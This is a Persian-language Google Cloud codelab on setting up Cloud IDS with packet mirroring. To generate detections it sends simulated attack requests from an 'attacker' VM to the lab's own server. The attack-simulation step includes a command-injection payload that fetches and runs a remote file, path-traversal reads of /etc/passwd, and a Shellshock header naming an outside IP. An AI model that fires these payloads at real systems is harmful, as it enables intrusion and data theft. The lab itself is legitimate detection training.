1. مقدمه
در این آزمایشگاه، Cloud IDS، یک سرویس تشخیص نفوذ پیشرفته نسل بعدی است که تشخیص تهدید برای نفوذ، بدافزار، جاسوسافزار و حملات فرمان و کنترل را فراهم میکند. شما چندین حمله را شبیه سازی خواهید کرد و جزئیات تهدید را در Cloud Console مشاهده خواهید کرد.
چیزی که یاد خواهید گرفت
- نحوه ایجاد یک نقطه پایانی Cloud IDS
- نحوه ایجاد 2 ماشین مجازی با دستورات gcloud
- نحوه ایجاد یک خط مشی انعکاسی بسته
- نحوه شبیه سازی ترافیک حمله از یک ماشین مجازی
- نحوه مشاهده جزئیات تهدید در Cloud Console و Cloud Logging
آنچه شما نیاز دارید
- آشنایی با دستورات اولیه لینوکس
2. موارد استفاده Cloud IDS
Cloud IDS یک سرویس تشخیص نفوذ (IDS) بومی Google Cloud را برای مشتریان فراهم میکند تا نیازهای تشخیص تهدید پیشرفته و الزامات انطباق مانند PCI 11.4 را برآورده کنند. این سرویس توسط فناوریهای حفاظت از تهدیدات شبکههای Palo Alto برای ارائه تشخیص نفوذ پیشرفته پشتیبانی میشود. ترکیب زیرساختهای کلاس جهانی Google Cloud با امنیت در سطح جهانی از شبکههای پالو آلتو، ترکیبی بینظیر از یک سرویس تشخیص تهدید پیشرفته کاملاً مدیریت شده، با کارایی بالا و بالاترین کارایی امنیتی را در اختیار مشتریان قرار میدهد.
همانطور که مشتریان به ابر مهاجرت می کنند، امنیت برای آنها مهم است. آنها میخواهند کنترلهای امنیتی مشابهی را داشته باشند، مانند سرویس تشخیص نفوذ (IDS) در ابر. آنها به شدت ترجیح می دهند از راه حل IDS مدیریت شده بومی ابری برای سهولت استقرار، کارایی بالا و هزینه های بهینه در مقایسه با استقرار راه حل امنیتی شخص ثالث و مدیریت زیرساخت یا آوردن امضای خود استفاده کنند. Google Cloud IDS یک سرویس IDS مدیریت شده با مقیاس خودکار و سرتاسر ارائه میکند که مشتریان را قادر میسازد وقت خود را صرف تجزیه و تحلیل و کاهش تهدیدها کنند و زمان و منابع خود را برای مدیریت زیرساخت یا امضاهای تهدید آزاد میکند.
Cloud IDS خارج از باند مستقر است و می تواند تهدیدها را شناسایی و هشدار دهد، اما نمی تواند تهدیدها را مسدود کند. این ابزار از Google Cloud Packet Mirroring برای ایجاد یک کپی از ترافیک شبکه استفاده می کند که با استفاده از موتور تشخیص تهدید شبکه Palo Alto تجزیه و تحلیل می شود.
3. توپولوژی Codelab
شکل 1. نمای کلی معماری سطح بالا از استقرار Cloud IDS برای این آزمایشگاه.
4. راه اندازی و الزامات
تنظیم محیط خود به خود
- به Google Cloud Console وارد شوید و یک پروژه جدید ایجاد کنید یا از یک موجود استفاده مجدد کنید. اگر قبلاً یک حساب Gmail یا Google Workspace ندارید، باید یک حساب ایجاد کنید .
- نام پروژه نام نمایشی برای شرکت کنندگان این پروژه است. این یک رشته کاراکتری است که توسط API های Google استفاده نمی شود و می توانید هر زمان که بخواهید آن را به روز کنید.
- شناسه پروژه باید در تمام پروژههای Google Cloud منحصربهفرد باشد و تغییرناپذیر باشد (پس از تنظیم نمیتوان آن را تغییر داد). Cloud Console به طور خودکار یک رشته منحصر به فرد تولید می کند. معمولاً برای شما مهم نیست که چیست. در اکثر کدها، باید به شناسه پروژه ارجاع دهید (و معمولاً به عنوان
PROJECT_ID
شناخته میشود)، بنابراین اگر آن را دوست ندارید، یک نمونه تصادفی دیگر ایجاد کنید، یا میتوانید شناسه پروژه را امتحان کنید و ببینید در دسترس است. سپس پس از ایجاد پروژه "یخ زده" می شود. - یک مقدار سوم وجود دارد، یک شماره پروژه که برخی از API ها از آن استفاده می کنند. در مورد هر سه این مقادیر در مستندات بیشتر بیاموزید.
- در مرحله بعد، برای استفاده از منابع Cloud/APIها، باید صورتحساب را در کنسول Cloud فعال کنید . اجرا کردن از طریق این کد لبه نباید هزینه زیادی داشته باشد، اگر اصلاً باشد. برای اینکه منابع را خاموش کنید تا بیش از این آموزش متحمل صورتحساب نشوید، دستورالعملهای «پاکسازی» را که در انتهای Codelab یافت میشود دنبال کنید. کاربران جدید Google Cloud واجد شرایط برنامه آزمایشی رایگان 300 دلاری هستند.
Cloud Shell را راه اندازی کنید
در حالی که Google Cloud را می توان از راه دور از لپ تاپ شما کار کرد، در این کد لبه از Google Cloud Shell استفاده خواهید کرد، یک محیط خط فرمان که در Cloud اجرا می شود.
از کنسول GCP روی نماد Cloud Shell در نوار ابزار بالا سمت راست کلیک کنید:
تهیه و اتصال به محیط فقط چند لحظه طول می کشد. وقتی تمام شد، باید چیزی شبیه به این را ببینید:
این ماشین مجازی با تمام ابزارهای توسعه که شما نیاز دارید بارگذاری شده است. این یک فهرست اصلی 5 گیگابایتی دائمی را ارائه می دهد و در Google Cloud اجرا می شود و عملکرد و احراز هویت شبکه را تا حد زیادی افزایش می دهد. تمام کارهای شما در این آزمایشگاه به سادگی با یک مرورگر قابل انجام است.
5. قبل از شروع
API ها را فعال کنید
در داخل Cloud Shell، مطمئن شوید که شناسه پروژه شما تنظیم شده است
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
تمام خدمات لازم را فعال کنید
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. شبکه VPC ایجاد کنید
شبکه VPC
از Cloud Shell
gcloud compute networks create cloud-ids \ --subnet-mode=custom
زیر شبکه
از Cloud Shell
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
دسترسی به سرویس خصوصی
از Cloud Shell
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
اتصال سرویس خصوصی
از Cloud Shell
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
قوانین فایروال
برای اینکه به IAP اجازه دهید به نمونه های VM شما متصل شود، یک قانون فایروال ایجاد کنید که:
- برای تمام نمونه های VM که می خواهید با استفاده از IAP در دسترس باشند، اعمال می شود.
- به ترافیک ورودی از محدوده IP 35.235.240.0/20 اجازه می دهد. این محدوده شامل تمام آدرس های IP است که IAP برای ارسال TCP استفاده می کند.
از Cloud Shell
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
برای اجازه دادن پورت استاندارد HTTP (TCP 80) و پروتکل ICMP به سرور:
- برای منابع با برچسب شبکه "سرور" اعمال می شود
- اجازه ورود از همه منابع را می دهد
از Cloud Shell
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
نمونه Cloud NAT را ایجاد کنید
روتر ابری
از Cloud Shell
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
از Cloud Shell
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. نقطه پایانی Cloud IDS ایجاد کنید
در این بخش، یک Cloud IDS Endpoint در us-east1 ایجاد میکنید که شدت آن روی اطلاعات تنظیم شده است. ایجاد نقطه پایانی IDS تقریباً 20 دقیقه طول می کشد.
نقطه پایانی IDS
از Cloud Shell
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
تأیید کنید که نقطه پایانی Cloud IDS آغاز شده است
gcloud ids endpoints list --project=$PROJECT_ID
خروجی -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. 2 ماشین مجازی ایجاد کنید
در این قسمت شما 2 ماشین مجازی ایجاد می کنید. اولین مورد سرور وب شما خواهد بود که به Cloud IDS منعکس می شود. ماشین مجازی دوم منبع ترافیک حمله شما خواهد بود.
ماشین مجازی 1 (سرور)
از Cloud Shell
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
ماشین مجازی 2 (کلینت)
از Cloud Shell
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. آماده سازی سرور
در این کار، سرور خود را اعتبارسنجی میکنید و یک بدافزار خوشخیم برای مشتری خود فراهم میکنید.
SSH به VM از طریق Cloud Shell
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
تأیید کنید که وب سرویس در حال اجرا است
sudo systemctl status nginx
خروجی - فعال بودن و در حال اجرا بودن را تأیید کنید
● nginx.service - A high performance web server and a reverse proxy server Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled) Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago Docs: man:nginx(8) Main PID: 1347 (nginx) Tasks: 3 (limit: 4665) Memory: 4.5M CGroup: /system.slice/nginx.service ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on; ├─1348 nginx: worker process └─1349 nginx: worker process May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server... May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
دایرکتوری را به وب سرویس تغییر دهید
cd /var/www/html/
یک فایل بدافزار خوش خیم در سرور وب ایجاد کنید
sudo touch eicar.file
در محتویات بچسبانید
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
بازگشت به CloudShell
exit
یک خط مشی انعکاسی بسته های Cloud IDS ایجاد کنید
قانون ارسال نقطه پایانی IDS را شناسایی کنید و تأیید کنید که وضعیت نقطه پایانی IDS "آماده" است.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
خروجی مثال - مقدار را از "endpointForwardingRule" کپی کنید
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
IDS Endpoint Forwarding Rule را در یک متغیر ذخیره کنید.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
سیاست انعکاس بسته
از Cloud Shell
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
بررسی کنید که خط مشی انعکاس بسته ایجاد شده است
از Cloud Shell
gcloud compute packet-mirrorings list
خروجی
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. شبیه سازی ترافیک حمله
SSH به ماشین مجازی مهاجم (Client)
از Cloud Shell
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
برای شبیه سازی ترافیک مخرب، درخواست های curl زیر را اجرا کنید.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
برای بازگشت به CloudShell از VM خارج شوید
exit
11. تهدیدهای شناسایی شده توسط Cloud IDS را بررسی کنید
به داشبورد Cloud IDS بروید
منوی پیمایش > امنیت شبکه > Cloud IDS
به تب Threats بروید.
همانطور که می بینید، Cloud IDS پروفایل های مختلف ترافیک حمله را ضبط کرده و جزئیات مربوط به هر تهدید را ارائه می دهد. اگر هیچ تهدیدی را مشاهده نکردید، ممکن است لازم باشد روی دکمه "Refresh" کلیک کنید. اکنون کمی عمیقتر میشویم و جزئیات تهدید را مشاهده میکنیم.
تهدید "Bash Remote Code Execution Vulnerability" را پیدا کنید و روی سه نقطه سمت راست کلیک کنید و "View gef details" را انتخاب کنید.
اکنون جزئیات این حادثه را در Cloud Logging مشاهده خواهیم کرد. با کلیک بر روی فلش سمت چپ به صفحه تهدیدها برگردید.
روی سه نقطه سمت راست کلیک کنید و "View logs kërcënim" را انتخاب کنید.
همان جزئیات به Cloud Logging ارائه شده است. این به شما امکان میدهد گزارشها را به Cloud Storage، Chronicle یا هر SIEM/SOAR ارسال کنید. همچنین میتوانید گردشهای کاری سفارشی برای انجام اقدامات اصلاحی بر اساس هشدارها ایجاد کنید، مثلاً ایجاد یک تابع ابری که در یک هشدار فعال میشود و یک قانون دیوار آتش را برای مسدود کردن آدرس IP ایجاد/بهروزرسانی کنید، یا یک خطمشی Cloud Armor را ایجاد/بهروزرسانی کنید.
12. مراحل پاکسازی
خروج از نمونه VM (همه برگه ها)
exit
از یک ترمینال Cloud Shell، اجزای آزمایشگاه را حذف کنید
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. تبریک می گویم!
برای تکمیل کد لبه تبریک می گویم.
آنچه را پوشش داده ایم
- موارد استفاده Cloud IDS
- الزامات شبکه
- API های پشتیبانی شده
- یک نقطه پایانی Cloud IDS ایجاد کرد
- 2 ماشین مجازی مستقر شده است
- ایجاد مقداری ترافیک "حمله ای" از مشتری
- تهدیدات تأیید شده توسط IDS شناسایی شدند
- بررسی جزئیات تهدید و سیاهههای مربوط